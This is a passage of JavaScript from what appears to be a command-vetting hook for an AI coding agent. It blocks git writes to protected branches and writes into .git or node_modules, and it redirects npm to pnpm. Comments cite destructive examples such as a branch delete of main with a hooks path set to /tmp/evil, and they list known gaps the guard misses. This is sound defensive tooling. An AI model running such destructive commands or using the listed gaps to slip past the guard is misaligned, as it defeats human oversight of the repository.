just\n* `<cwd>/.git` -- matching `.git` at *any* depth, as long as the resolved\n* path stays within `cwd`. A `.git` outside `cwd` is not this function's\n* concern and reaches `none` -- there is no longer a blanket outside-cwd\n* deny to catch it either.\n*\n* Matches on a resolved path *segment* exactly equal to `.git`, not a\n* substring, so it does not mistake `.gitignore`, `.gitkeep`, `.github/`,\n* `src/foo.git.ts`, or a directory merely named `mygit`/`git` for a `.git/`\n* target.\n*/\nfunction targetsGitDir(filePath, cwd) {\n	const pp = pathFlavorFor(cwd);\n	const resolved = resolveIn(cwd, filePath);\n	if (!isWithin(cwd, resolved)) return false;\n	const rel = pp.relative(cwd, resolved);\n	if (rel === \"\") return false;\n	return rel.split(pp.sep).includes(\".git\");\n}\n/**\n* Whether `filePath` (resolved against `cwd`) has a path segment exactly equal\n* to `node_modules` -- i.e. it names a location inside *any* installed package\n* tree, at any depth, including pnpm's virtual store\n* (`node_modules/.pnpm/<pkg>/node_modules/<pkg>/...`).\n*\n* **Deliberately not scoped to `cwd`**, unlike `targetsGitDir`. pnpm populates\n* `node_modules` with *hardlinks into the global content-addressable store*, so\n* a single in-place overwrite of an installed file (a plain `cp`, a `>`\n* redirect -- anything that opens the destination `O_WRONLY|O_TRUNC` rather than\n* unlinking it first) writes *through* the link and mutates the store's own\n* content-addressed file. That corrupts the package for the global store, every\n* other project on the machine that shares the inode, and every future install\n* or `pnpm dlx` that hardlinks it -- with no error at the scene, because the\n* directory that did the writing ends up perfectly consistent.\n*\n* This is exactly how a local `@bensandee/tooling` build landed on top of the\n* published 0.64.2 in the store on 2026-07-13: `cp -r <local>/dist/*` over a\n* scratch consumer's `node_modules/@bensandee/tooling/dist/`. The destination\n* was outside `cwd` -- so a cwd-scoped check would not have seen it -- and the\n* store stayed broken until a consumer's `pnpm dlx` failed days later with\n* `ERR_MODULE_NOT_FOUND` for a chunk that no published tarball has ever\n* contained.\n*\n* The lesson encoded here: **cwd-containment is not a safety boundary for\n* `node_modules`.** A path inside it is not \"in the project\" in any meaningful\n* sense -- it is a shared, machine-global resource wearing a local path. Hence\n* every segment of the *resolved* path is checked, wherever it lands.\n*\n* Matches on a path *segment*, not a substring, so `src/node_modules_helper.ts`\n* and `docs/node_modules.md` are not mistaken for the real thing.\n*/\nfunction targetsNodeModules(filePath, cwd) {\n	return resolveIn(cwd, filePath).split(/[/\\\\]/).includes(\"node_modules\");\n}\n\n//#endregion\n//#region src/rules.ts\n/** Git global flags that consume the next token as an argument. */\nconst GIT_FLAGS_WITH_ARG = /* @__PURE__ */ new Set([\n	\"-C\",\n	\"-c\",\n	\"--git-dir\",\n	\"--work-tree\"\n]);\n/** Extract the git subcommand (first non-flag token after \"git\"), skipping flag arguments. */\nfunction getGitSubcommand(tokens) {\n	const args = tokens.slice(1);\n	for (let i = 0; i < args.length; i++) {\n		const t = args[i];\n		if (GIT_FLAGS_WITH_ARG.has(t)) {\n			i++;\n			continue;\n		}\n		if (t.startsWith(\"-\")) continue;\n		return t;\n	}\n}\nconst WORKTREE_ADVICE = \"You're creating a feature branch in the primary worktree. An isolated worktree keeps this work independent of other windows, and with no commits on this branch yet, converting is cheap -- `git worktree add ../<dir> -b <branch>` (a sibling outside the repo, with its own dependency install). Claude Code keeps this session inside its own working tree, so the work continues in a new session opened in the sibling worktree. If you cannot open a session there, stay in the primary checkout on this branch and check `git branch --show-current` before each commit.\";\n/**\n* True when the command creates a branch: `git checkout -b/-B` or\n* `git switch -c/-C`, including those letters carried in a short-option\n* cluster with other letters or an attached value (`-bfix-bug`, `-qc\n* feat/x`). A plain `git switch <branch>` is not creation. Long spellings\n* (`--create`, `--force-create`) are deliberately not recognized as creation\n* here -- only the short grammar is in scope.\n*/\nfunction isGitBranchCreation(tokens) {\n	const sub = getGitSubcommand(tokens);\n	if (sub !== \"checkout\" && sub !== \"switch\") return false;\n	const after = tokens.slice(tokens.indexOf(sub) + 1);\n	const creationLetters = sub === \"checkout\" ? [\"b\", \"B\"] : [\"c\", \"C\"];\n	return after.some((t) => {\n		const cluster = splitShortOptionCluster(t, sub);\n		return cluster !== void 0 && cluster.letters.some((l) => creationLetters.includes(l));\n	});\n}\n/**\n* Non-blocking advisory for a `git` command that reaches the end of rule\n* matching with no decision either way. There is no allow tier any more to\n* carry it, so `evaluateSegment` calls this directly and attaches the result\n* to the none result it returns for a `git` command, rather than routing it\n* through a `Rule`'s own `when`/advise pair the way the old `git-safe-write`\n* allow rule did.\n*/\nfunction worktreeAdvice(tokens, ctx) {\n	return isGitBranchCreation(tokens) && isPrimaryWorktree(ctx.cwd) ? WORKTREE_ADVICE : void 0;\n}\n/** Force-create letter: `C` on switch, `B` on checkout and `worktree add`. */\nconst GIT_FORCE_CREATE_LETTER = {\n	switch: \"C\",\n	checkout: \"B\"\n};\n/**\n* The long force-create spelling (switch only). Every unambiguous prefix down\n* to `--force-` (the shortest that is not the distinct `--force` option)\n* matches, because git's parse-options accepts one and a prefix missed here\n* would let a force-create onto a protected name through.\n*/\nconst GIT_FORCE_CREATE_LONG = {\n	flag: \"--force-create\",\n	shortest: \"--force-\"\n};\n/**\n* Every branch name a force-create spelling in `after` (the tokens following\n* the subcommand -- and past `add`, for `worktree add`) targets. Usually zero\n* or one, but git's last-occurrence-wins on a repeated creation flag is not\n* modeled: every occurrence contributes its target, so a repeated flag is\n* handled conservatively rather than resolving which one wins.\n*\n* Grammar, reusing `splitShortOptionCluster`: a cluster whose letters include\n* the force letter contributes its attached value when non-empty, else the\n* next argv token; the long spelling contributes the next argv token, or the\n* name attached to it with `=`. A creation flag with nothing after it (a\n* valueless trailing `-C`, or `--force-create` as the last token) resolves no\n* target for that occurrence -- git errors on the command anyway.\n*/\nfunction gitForceCreateTargets(after, letterSub) {\n	const letter = GIT_FORCE_CREATE_LETTER[letterSub];\n	const longFlag = GIT_FORCE_CREATE_LONG;\n	const targets = [];\n	for (let i = 0; i < after.length; i++) {\n		const t = after[i];\n		if (t === void 0) continue;\n		if (letterSub === \"switch\") {\n			const [flag, ...rest] = t.split(\"=\");\n			if (flag !== void 0 && flag.length >= longFlag.shortest.length && longFlag.flag.startsWith(flag)) {\n				const target = rest.length > 0 ? rest.join(\"=\") : after[i + 1];\n				if (target !== void 0) targets.push(target);\n				continue;\n			}\n		}\n		const cluster = splitShortOptionCluster(t, letterSub);\n		if (cluster === void 0 || !cluster.letters.includes(letter)) continue;\n		if (cluster.attachedValue !== void 0 && cluster.attachedValue !== \"\") {\n			targets.push(cluster.attachedValue);\n			continue;\n		}\n		const next = after[i + 1];\n		if (next !== void 0) targets.push(next);\n	}\n	return targets;\n}\n/**\n* Every branch name a force-create spelling targets in a full `git ...`\n* command: `switch -C`/`--force-create`, `checkout -B`, or `worktree add -B`.\n* Any other subcommand -- including `worktree list`/`remove`/`move` -- always\n* resolves no target. `worktree add` reuses checkout's `-B` grammar.\n*/\nfunction gitCommandForceCreateTargets(tokens) {\n	const sub = getGitSubcommand(tokens);\n	if (sub === \"switch\" || sub === \"checkout\") return gitForceCreateTargets(tokens.slice(tokens.indexOf(sub) + 1), sub);\n	if (sub === \"worktree\") {\n		const worktreeIdx = tokens.indexOf(\"worktree\");\n		if (tokens[worktreeIdx + 1] !== \"add\") return [];\n		return gitForceCreateTargets(tokens.slice(worktreeIdx + 2), \"checkout\");\n	}\n	return [];\n}\n/**\n* True when a `switch`/`checkout`/`worktree add` command force-creates a\n* branch under a name in the protected set. Force-create resets an existing\n* branch to the start point (HEAD by default) rather than merely creating it,\n* so this is a claim about the TOKENS, not the current branch: it never calls\n* getCurrentBranch and is valid even outside a repository, where main/master\n* are protected unconditionally.\n*/\nfunction isGitProtectedBranchForceCreate(tokens, ctx) {\n	const targets = gitCommandForceCreateTargets(tokens);\n	if (targets.length === 0) return false;\n	const protectedSet = getProtectedBranches(ctx.cwd, ctx.repoProtectedBranches ?? []);\n	return targets.some((t) => protectedSet.has(t));\n}\n/**\n* True when `git branch` destroys or overwrites a protected ref: a delete\n* (`-d`/`-D`/`--delete`) naming one, a non-force rename (`-m`/`-M`/`--move`)\n* moving one away by name, or any force spelling (`-f`/`--force`, or the\n* force letters `-M`/`-C`) writing onto one. A claim about the TOKENS, never\n* calling getCurrentBranch and valid outside a repository, like the\n* force-create check above. It carries no pre-subcommand flag guard, so\n* `git -c core.hooksPath=/tmp/evil branch -D main` still denies.\n*\n* The three checks are independent, not mutually exclusive branches of one\n* mode -- `git branch -M junk main` is a force rename whose *source* (`junk`)\n* is not protected, so the rename check alone would miss it; the force check\n* catches it via the *destination* (`main`).\n*\n* The accepted residual: `git branch -m junk` while sitting on a protected\n* branch renames it away with no victim name in the tokens at all, so this\n* returns false and the command gets no decision.\n*/\nfunction isGitProtectedBranchRefWrite(tokens, ctx) {\n	const sub = getGitSubcommand(tokens);\n	if (sub !== \"branch\") return false;\n	const { flags, positionals } = splitGitBranchArgs(tokens.slice(tokens.indexOf(sub) + 1));\n	if (positionals.length === 0) return false;\n	let deleteMode = false;\n	let renameMode = false;\n	let copyMode = false;\n	let forceMode = false;\n	for (const flag of flags) {\n		if (flag.letters !== void 0) {\n			if (flag.letters.includes(\"d\") || flag.letters.includes(\"D\")) deleteMode = true;\n			if (flag.letters.includes(\"m\") || flag.letters.includes(\"M\")) renameMode = true;\n			if (flag.letters.includes(\"c\") || flag.letters.includes(\"C\")) copyMode = true;\n			if (flag.letters.includes(\"f\") || flag.letters.includes(\"M\") || flag.letters.includes(\"C\")) forceMode = true;\n			continue;\n		}\n		if (flag.name === \"delete\") deleteMode = true;\n		if (flag.name === \"move\") renameMode = true;\n		if (flag.name === \"copy\") copyMode = true;\n		if (flag.name === \"force\") forceMode = true;\n	}\n	const protectedSet = getProtectedBranches(ctx.cwd, ctx.repoProtectedBranches ?? []);\n	if (deleteMode && positionals.some((p) => protectedSet.has(p))) return true;\n	if (renameMode && positionals.length >= 2 && protectedSet.has(positionals[0])) return true;\n	if (forceMode) {\n		const destination = renameMode || copyMode ? positionals[positionals.length - 1] : positionals[0];\n		if (destination !== void 0 && protectedSet.has(destination)) return true;\n	}\n	return false;\n}\n/**\n* The ref a refspec writes to. `src:dst` targets dst; a bare `ref` targets the\n* same name on the remote. Strips the leading \"+\" (force) and any\n* `refs/heads/` prefix.\n*/\nfunction refspecDestination(refspec) {\n	const spec = refspec.startsWith(\"+\") ? refspec.slice(1) : refspec;\n	const colon = spec.lastIndexOf(\":\");\n	return (colon === -1 ? spec : spec.slice(colon + 1)).replace(/^refs\\/heads\\//, \"\");\n}\n/**\n* Long `git branch` flags whose value is the next token when spelled without\n* `=`. `--abbrev`, `--color` and `--column` are deliberately absent: measured,\n* they consume nothing (`git branch --color zz` creates `zz`), so treating\n* them as value-consuming would swallow a branch name. `-u`/`--set-upstream-to`\n* also consume the next token, but `-u` is\n* handled by `splitShortOptionCluster`'s own branch table, not by name here.\n*/\nconst GIT_BRANCH_VALUE_FLAG_NAMES = /* @__PURE__ */ new Set([\n	\"contains\",\n	\"no-contains\",\n	\"merged\",\n	\"no-merged\",\n	\"points-at\",\n	\"sort\",\n	\"format\",\n	\"set-upstream-to\"\n]);\n/**\n* Split the tokens after `git branch` into its flags and positionals, for\n* `isGitProtectedBranchRefWrite`. A token not starting with `-` is a\n* positional. `--` is recorded as a flag with no name. A `--flag`\n* token is recorded by its name (the part before `=`) and consumes the\n* following token when it has no `=` and its name is in\n* `GIT_BRANCH_VALUE_FLAG_NAMES`. A short token is decomposed with\n* `splitShortOptionCluster(t, \"branch\")`, recording its letters and\n* consuming the following token when its attached value is the empty string\n* (a trailing `-u`).\n*/\nfunction splitGitBranchArgs(after) {\n	const flags = [];\n	const positionals = [];\n	for (let i = 0; i < after.length; i++) {\n		const t = after[i];\n		if (t === void 0) continue;\n		if (!t.startsWith(\"-\")) {\n			positionals.push(t);\n			continue;\n		}\n		if (t.startsWith(\"--\") && t !== \"--\") {\n			const eq = t.indexOf(\"=\");\n			const name = eq > 0 ? t.slice(2, eq) : t.slice(2);\n			flags.push({\n				raw: t,\n				name\n			});\n			if (eq < 0 && GIT_BRANCH_VALUE_FLAG_NAMES.has(name)) i++;\n			continue;\n		}\n		const cluster = splitShortOptionCluster(t, \"branch\");\n		if (cluster === void 0) {\n			flags.push({ raw: t });\n			continue;\n		}\n		flags.push({\n			raw: t,\n			letters: cluster.letters\n		});\n		if (cluster.attachedValue === \"\") i++;\n	}\n	return {\n		flags,\n		positionals\n	};\n}\n/**\n* Long `git fetch` flags whose value is the next token when spelled without\n* `=`. `--recurse-submodules` is deliberately absent: it takes its optional\n* value only with `=`, so `git fetch --recurse-submodules origin` reads\n* `origin` as the remote, not as the flag's value. The three names that are on\n* no allowlist (`--upload-pack`, `--submodule-prefix`,\n* `--recurse-submodules-default`) are listed here so a swallowed value cannot\n* be misread as a refspec.\n*/\nconst GIT_FETCH_VALUE_FLAG_NAMES = /* @__PURE__ */ new Set([\n	\"depth\",\n	\"deepen\",\n	\"shallow-since\",\n	\"shallow-exclude\",\n	\"negotiation-tip\",\n	\"filter\",\n	\"jobs\",\n	\"server-option\",\n	\"upload-pack\",\n	\"refmap\",\n	\"submodule-prefix\",\n	\"recurse-submodules-default\"\n]);\n/**\n* Split the tokens after `git fetch` into flags, positionals and `--refmap`\n* values, for `isGitProtectedBranchFetchWrite`, in the shape of\n* `splitGitBranchArgs` (whose interfaces are deliberately not reused: the two\n* splitters have different value-flag tables and must stay independent). A\n* token not starting with `-` is a positional. `--` is recorded as a flag with\n* no name and no letters; later tokens are not treated specially. A `--flag` token is recorded\n* by name and consumes the following token when it has no `=` and its name is\n* in `GIT_FETCH_VALUE_FLAG_NAMES`. A short token is decomposed with\n* `splitShortOptionCluster(t, \"fetch\")`, recording its letters and consuming\n* the following token when its attached value is the empty string (a trailing\n* `-j` or `-o`).\n*/\nfunction splitGitFetchArgs(after) {\n	const flags = [];\n	const positionals = [];\n	const refmaps = [];\n	for (let i = 0; i < after.length; i++) {\n		const t = after[i];\n		if (t === void 0) continue;\n		if (!t.startsWith(\"-\")) {\n			positionals.push(t);\n			continue;\n		}\n		if (t === \"--\") {\n			flags.push({ raw: t });\n			continue;\n		}\n		if (t.startsWith(\"--\")) {\n			const eq = t.indexOf(\"=\");\n			const name = eq > 0 ? t.slice(2, eq) : t.slice(2);\n			flags.push({\n				raw: t,\n				name\n			});\n			if (name === \"refmap\") {\n				if (eq > 0) refmaps.push(t.slice(eq + 1));\n				else if (after[i + 1] !== void 0) refmaps.push(after[i + 1]);\n			}\n			if (eq < 0 && GIT_FETCH_VALUE_FLAG_NAMES.has(name)) i++;\n			continue;\n		}\n		const cluster = splitShortOptionCluster(t, \"fetch\");\n		if (cluster === void 0) {\n			flags.push({ raw: t });\n			continue;\n		}\n		flags.push({\n			raw: t,\n			letters: cluster.letters\n		});\n		if (cluster.attachedValue === \"\") i++;\n	}\n	return {\n		flags,\n		positionals,\n		refmaps\n	};\n}\n/**\n* Classify one fetch refspec's destination. Unlike a push's use of\n* `refspecDestination`, a token with **no colon is not a destination at all**:\n* a source-only fetch refspec writes `FETCH_HEAD` plus whatever the remote's\n* refmap says, never a named local branch, so this function must not consult\n* the shared helper first -- for push, a bare `main` means \"the same name on\n* the remote\" and the helper hands it back as a destination.\n*\n* With a colon the destination goes through `refspecDestination`, which already\n* strips `refs/heads/` and leaves every other `refs/` prefix intact. An empty\n* destination (`main:`) writes nothing. `refs/remotes/` is a remote-tracking\n* cache; any other `refs/` namespace (tags included) is `other`; anything else\n* is a branch name, which git resolves to `refs/heads/<name>` when no such ref\n* exists. Note that `:main` reaches `branch` with name `main` -- the fetch\n* reading, where an empty source means HEAD, not push's delete reading.\n*/\nfunction fetchRefspecTarget(spec) {\n	const body = spec.startsWith(\"+\") ? spec.slice(1) : spec;\n	if (body.startsWith(\"^\")) return { kind: \"none\" };\n	if (!body.includes(\":\")) return { kind: \"none\" };\n	const destination = refspecDestination(body);\n	if (destination === \"\") return { kind: \"none\" };\n	if (destination.startsWith(\"refs/remotes/\")) return { kind: \"tracking\" };\n	if (destination.startsWith(\"refs/\")) return { kind: \"other\" };\n	return {\n		kind: \"branch\",\n		name: destination\n	};\n}\n/**\n* Escape a glob for regex use, then turn each escaped `*` into \"any run of\n* characters\". Escaping first is what keeps a name containing regex syntax\n* (`feat/x+`, say) from compiling into a pattern that matches something the\n* name does not.\n*/\nfunction globToAnchoredRegex(glob) {\n	const escaped = glob.replace(/[.*+?^${}()|[\\]\\\\]/g, \"\\\\$&\");\n	return new RegExp(`^${escaped.replace(/\\\\\\*/g, \".*\")}$`);\n}\n/**\n* True when a refspec destination names a protected branch, or is a glob that\n* covers one (`refs/heads/*:refs/heads/*` covers `main`,\n* `refs/heads/*:refs/heads/copy/*` does not).\n*/\nfunction isProtectedFetchBranch(name, protectedSet) {\n	if (protectedSet.has(name)) return true;\n	if (!name.includes(\"*\")) return false;\n	const pattern = globToAnchoredRegex(name);\n	for (const member of protectedSet) if (pattern.test(member)) return true;\n	return false;\n}\n/**\n* True when a `git fetch` writes a protected local branch: some refspec lands\n* on a protected name (or a glob covering one), forced or not -- an unforced\n* write still fast-forwards the branch. A claim about the TOKENS --\n* it never calls `getCurrentBranch` and never asks whether the ref exists, so it\n* is valid outside a repository, where `main`/`master` are protected\n* unconditionally. Like `isGitProtectedBranchRefWrite`, it carries no\n* pre-subcommand flag guard, so `git -c core.hooksPath=/tmp/evil fetch .\n* +HEAD:main` still denies.\n*\n* Two deliberate widenings, both in the deny direction. **Every** positional\n* is scanned, the remote slot included: if the value-consuming flag list were\n* ever over-inclusive, a swallowed remote would shift the sole refspec into the\n* first slot, and the deny must not be blind there -- the cost is a deny on an\n* scp-style URL whose path is literally a protected name. And every\n* `--refmap` value is classified, because measured,\n* `--refmap=+refs/heads/*:refs/heads/*` beside a source-only positional\n* force-writes `main`.\n*\n* The accepted residual: `--stdin` carries its refspecs on a stream, so a\n* `HEAD:main` arriving that way cannot be seen and gets no decision.\n*/\nfunction isGitProtectedBranchFetchWrite(tokens, ctx) {\n	const sub = getGitSubcommand(tokens);\n	if (sub !== \"fetch\") return false;\n	const { positionals, refmaps } = splitGitFetchArgs(tokens.slice(tokens.indexOf(sub) + 1));\n	const protectedSet = getProtectedBranches(ctx.cwd, ctx.repoProtectedBranches ?? []);\n	return [...positionals, ...refmaps].some((spec) => {\n		const target = fetchRefspecTarget(spec);\n		if (target.kind !== \"branch\" || target.name === void 0) return false;\n		return isProtectedFetchBranch(target.name, protectedSet);\n	});\n}\n/**\n* True when `git update-ref` writes or deletes (`-d`) a protected branch: its\n* ref positional, with any `refs/heads/` prefix stripped, is protected. `-m`\n* takes the next token as its reason. `--stdin` carries its commands on a\n* stream, so a protected write arriving that way cannot be seen and gets no\n* decision.\n*/\nfunction isGitProtectedUpdateRef(tokens, ctx) {\n	const after = tokens.slice(tokens.indexOf(\"update-ref\") + 1);\n	let ref;\n	for (let i = 0; i < after.length; i++) {\n		const t = after[i];\n		if (t === \"-m\") {\n			i++;\n			continue;\n		}\n		if (t.startsWith(\"-\")) continue;\n		ref = t;\n		break;\n	}\n	if (ref === void 0) return false;\n	return getProtectedBranches(ctx.cwd, ctx.repoProtectedBranches ?? []).has(ref.replace(/^refs\\/heads\\//, \"\"));\n}\n/**\n* The directory git runs in: `ctx.cwd` (already the effective directory after\n* `cd <dir> &&` propagation) with every global `-C <dir>` applied in order, the\n* way git composes them. `--git-dir`/`--work-tree` are not modelled: a command\n* carrying one reads its branch from `ctx.cwd`, an accepted residual.\n*/\nfunction gitEffectiveCwd(tokens, cwd) {\n	let dir = cwd;\n	const args = tokens.slice(1);\n	for (let i = 0; i < args.length; i++) {\n		const t = args[i];\n		if (t === \"-C\") {\n			const next = args[i + 1];\n			if (next !== void 0) dir = path.resolve(dir, next);\n			i++;\n			continue;\n		}\n		if (GIT_FLAGS_WITH_ARG.has(t)) {\n			i++;\n			continue;\n		}\n		if (!t.startsWith(\"-\")) break;\n	}\n	return dir;\n}\n/** Subcommands that move the checked-out branch's ref when they succeed. */\nconst GIT_CHECKED_OUT_WRITES = /* @__PURE__ */ new Set([\n	\"commit\",\n	\"merge\",\n	\"rebase\",\n	\"cherry-pick\",\n	\"revert\",\n	\"am\",\n	\"pull\"\n]);\n/**\n* Split the tokens after `sub` into flag-shaped and positional tokens. A flag\n* in `valueFlags` also consumes the next token as its value.\n*/\nfunction subcommandArgs(tokens, sub, valueFlags = /* @__PURE__ */ new Set()) {\n	const after = tokens.slice(tokens.indexOf(sub) + 1);\n	const flags = [];\n	const positionals = [];\n	for (let i = 0; i < after.length; i++) {\n		const t = after[i];\n		if (!t.startsWith(\"-\")) {\n			positionals.push(t);\n			continue;\n		}\n		flags.push(t);\n		if (valueFlags.has(t)) i++;\n	}\n	return {\n		flags,\n		positionals\n	};\n}\n/**\n* `git push` flags whose value is the next token when spelled without `=`.\n* Left unskipped, the value reads as the remote and shifts the real remote\n* into the refspec slot: `git push -o ci.skip origin` would look like a push\n* of the refspec `origin` instead of a push with no refspec.\n*/\nconst GIT_PUSH_VALUE_FLAGS = /* @__PURE__ */ new Set([\n	\"-o\",\n	\"--push-option\",\n	\"--repo\",\n	\"--receive-pack\",\n	\"--exec\"\n]);\n/**\n* True for `merge --ff-only <ref>` where `<ref>` is the branch's own upstream,\n* spelled out (`origin/main`) or as `@{u}`/`@{upstream}`. Fast-forwarding\n* `main` from its upstream is how a human keeps it current.\n*/\nfunction isMergeFastForwardFromUpstream(tokens, upstream) {\n	const { flags, positionals } = subcommandArgs(tokens, \"merge\");\n	if (!flags.includes(\"--ff-only\") || positionals.length !== 1) return false;\n	const ref = positionals[0];\n	return ref === \"@{u}\" || ref === \"@{upstream}\" || upstream !== null && ref === upstream;\n}\n/** `--rebase=<value>` spellings git reads as false, so the pull does not rebase. */\nconst GIT_PULL_NO_REBASE = /* @__PURE__ */ new Set([\n	\"--rebase=false\",\n	\"--rebase=no\",\n	\"--rebase=off\",\n	\"--rebase=0\"\n]);\n/**\n* True for a `pull` that can only fast-forward or merge the branch's own\n* upstream: no rebase or `--no-ff`, and either no positional or exactly\n* `<remote> <branch>` naming the upstream. `--rebase` is matched as a prefix\n* (`--rebase=merges`), and `-r` inside any short cluster, so neither spelling\n* slips through; `--rebase=false` and git's other false spellings turn\n* rebasing off rather than on.\n*/\nfunction isPullFromUpstream(tokens, upstream) {\n	const { flags, positionals } = subcommandArgs(tokens, \"pull\");\n	if (flags.some((t) => t.startsWith(\"--rebase\") && !GIT_PULL_NO_REBASE.has(t) || t === \"--no-ff\" || !t.startsWith(\"--\") && t.slice(1).includes(\"r\"))) return false;\n	if (positionals.length === 0) return true;\n	if (positionals.length !== 2 || upstream === null) return false;\n	const [remote, branch] = positionals;\n	return `${remote}/${branch.replace(/^refs\\/heads\\//, \"\")}` === upstream;\n}\n/**\n* True for a `reset` that moves the ref: no `--`, exactly one positional, and\n* that positional resolves to a commit other than HEAD's. `git reset`,\n* `git reset <path>` and `git reset --hard` unstage or discard work but leave\n* the ref where it is, so they are false.\n*/\nfunction isRefMovingReset(tokens, cwd) {\n	if (tokens.slice(tokens.indexOf(\"reset\") + 1).includes(\"--\")) return false;\n	const { positionals } = subcommandArgs(tokens, \"reset\");\n	if (positionals.length !== 1) return false;\n	const target = resolveCommit(cwd, positionals[0]);\n	if (target === null) return false;\n	return target !== resolveCommit(cwd, \"HEAD\");\n}\n/**\n* The branch names a `git push` writes on the remote. A refspec's destination\n* comes from `refspecDestination`; `HEAD` and `@` stand for the checked-out\n* branch. The first positional is the remote. Returns null when the command\n* names no refspec, so the destination comes from push config.\n*/\nfunction pushDestinations(tokens, current) {\n	const { positionals } = subcommandArgs(tokens, \"push\", GIT_PUSH_VALUE_FLAGS);\n	const refspecs = positionals.slice(1);\n	if (refspecs.length === 0) return null;\n	const names = [];\n	for (const spec of refspecs) {\n		const dst = refspecDestination(spec);\n		if (dst === \"HEAD\" || dst === \"@\") {\n			if (current !== null) names.push(current);\n			continue;\n		}\n		names.push(dst);\n	}\n	return names;\n}\n/** `git push` flags that push every local branch rather than named refspecs. */\nconst GIT_PUSH_EVERY_BRANCH = /* @__PURE__ */ new Set([\n	\"--all\",\n	\"--branches\",\n	\"--mirror\"\n]);\n/**\n* True for a checked-out write that cannot move the ref forward: `--abort`\n* and `--quit` leave an operation in progress (a plain `git pull` can leave a\n* conflicted merge that has to be abandoned), and `commit --dry-run` only\n* reports what would be committed. `--continue` and `--skip` are not here,\n* because they do commit.\n*/\nfunction leavesRefInPlace(tokens, sub) {\n	const { flags } = subcommandArgs(tokens, sub);\n	if (flags.includes(\"--abort\") || flags.includes(\"--quit\")) return true;\n	return sub === \"commit\" && flags.includes(\"--dry-run\");\n}\n/**\n* True when a git command would move a protected branch's ref:\n*\n* - With a protected branch checked out (in the effective directory): a\n*   subcommand in `GIT_CHECKED_OUT_WRITES`, except a fast-forward from the\n*   branch's own upstream (`isMergeFastForwardFromUpstream`,\n*   `isPullFromUpstream`) and a command that leaves the ref in place\n*   (`leavesRefInPlace`); or a `reset` that moves the ref (`isRefMovingReset`).\n* - From any branch: a push of every branch (`--all`, `--branches`,\n*   `--mirror`), a push whose refspec destination is protected, or a push\n*   with no refspec while a protected branch is checked out, unless it pushes\n*   only tags (`--tags`).\n* - From any branch: `switch -C`/`checkout -B`/`worktree add -B`, a\n*   `git branch` delete/rename/force, a `fetch` refspec, or `update-ref`, onto\n*   a protected name.\n*\n* An unknown branch -- a directory that does not exist yet, a detached HEAD,\n* git failing -- is not a protected one, so the checked-out cases are false\n* there. The subcommand is checked before any git process is spawned.\n*/\nfunction movesProtectedRef(tokens, ctx) {\n	const sub = getGitSubcommand(tokens);\n	if (sub === void 0) return false;\n	if (sub === \"switch\" || sub === \"checkout\" || sub === \"worktree\") return isGitProtectedBranchForceCreate(tokens, ctx);\n	if (sub === \"branch\") return isGitProtectedBranchRefWrite(tokens, ctx);\n	if (sub === \"fetch\") return isGitProtectedBranchFetchWrite(tokens, ctx);\n	if (sub === \"update-ref\") return isGitProtectedUpdateRef(tokens, ctx);\n	if (sub !== \"push\" && sub !== \"reset\" && !GIT_CHECKED_OUT_WRITES.has(sub)) return false;\n	const cwd = gitEffectiveCwd(tokens, ctx.cwd);\n	const current = getCurrentBranch(cwd);\n	const protectedSet = getProtectedBranches(cwd, ctx.repoProtectedBranches ?? []);\n	const onProtected = current !== null && protectedSet.has(current);\n	if (sub === \"push\") {\n		const { flags } = subcommandArgs(tokens, \"push\", GIT_PUSH_VALUE_FLAGS);\n		if (flags.some((f) => GIT_PUSH_EVERY_BRANCH.has(f))) return true;\n		const destinations = pushDestinations(tokens, current);\n		if (destinations === null) {\n			if (flags.includes(\"--tags\")) return false;\n			return onProtected;\n		}\n		return destinations.some((d) => protectedSet.has(d));\n	}\n	if (!onProtected) return false;\n	if (leavesRefInPlace(tokens, sub)) return false;\n	if (sub === \"reset\") return isRefMovingReset(tokens, cwd);\n	if (sub === \"merge\" || sub === \"pull\") {\n		const upstream = getUpstream(cwd, current);\n		if (sub === \"merge\" && isMergeFastForwardFromUpstream(tokens, upstream)) return false;\n		if (sub === \"pull\" && isPullFromUpstream(tokens, upstream)) return false;\n	}\n	return true;\n}\n/** pnpm built-in subcommands (not user-defined scripts) */\nconst PNPM_BUILTINS = /* @__PURE__ */ new Set([\n	\"install\",\n	\"i\",\n	\"add\",\n	\"remove\",\n	\"rm\",\n	\"uninstall\",\n	\"un\",\n	\"update\",\n	\"up\",\n	\"upgrade\",\n	\"list\",\n	\"ls\",\n	\"ll\",\n	\"la\",\n	\"why\",\n	\"view\",\n	\"info\",\n	\"show\",\n	\"outdated\",\n	\"audit\",\n	\"licenses\",\n	\"init\",\n	\"create\",\n	\"link\",\n	\"unlink\",\n	\"pack\",\n	\"publish\",\n	\"config\",\n	\"set\",\n	\"get\",\n	\"store\",\n	\"cache\",\n	\"rebuild\",\n	\"rb\",\n	\"prune\",\n	\"dedupe\",\n	\"dlx\",\n	\"exec\",\n	\"run\",\n	\"patch\",\n	\"patch-commit\",\n	\"recursive\",\n	\"-r\"\n]);\nconst NPM_READ_OPS = /* @__PURE__ */ new Set([\n	\"view\",\n	\"info\",\n	\"show\"\n]);\n/** True for a read-only npm query (`view`/`info`/`show`) -- everything else denies with a redirect. */\nfunction isNpmReadOp(tokens) {\n	const sub = tokens[1];\n	return sub !== void 0 && NPM_READ_OPS.has(sub);\n}\n/** Map npm subcommand to a pnpm redirect message */\nfunction getNpmRedirectReason(tokens) {\n	const sub = tokens[1];\n	const BASE = \"This project uses pnpm.\";\n	if (!sub) return `${BASE} Use \\`pnpm\\` instead of npm.`;\n	if (sub === \"install\" || sub === \"i\" || sub === \"ci\") {\n		if (tokens.slice(2).some((t) => !t.startsWith(\"-\"))) return `${BASE} Use \\`pnpm add <pkg>\\` instead of \\`npm install <pkg>\\`.`;\n		return `${BASE} Use \\`pnpm install\\` instead of npm.`;\n	}\n	if (sub === \"add\") return `${BASE} Use \\`pnpm add <pkg>\\` instead of npm.`;\n	if (sub === \"uninstall\" || sub === \"remove\" || sub === \"rm\" || sub === \"un\" || sub === \"r\") return `${BASE} Use \\`pnpm remove <pkg>\\` instead of npm.`;\n	if (sub === \"run\" || sub === \"run-script\") return `${BASE} Use \\`pnpm run <script>\\` or \\`pnpm <script>\\` instead of npm.`;\n	if (sub === \"test\" || sub === \"t\" || sub === \"tst\") return `${BASE} Use \\`pnpm test\\` instead of npm.`;\n	if (sub === \"start\") return `${BASE} Use \\`pnpm start\\` instead of npm.`;\n	if (sub === \"stop\") return `${BASE} Use \\`pnpm stop\\` instead of npm.`;\n	if (sub === \"restart\") return `${BASE} Use \\`pnpm restart\\` instead of npm.`;\n	if (sub === \"exec\") return `${BASE} Use 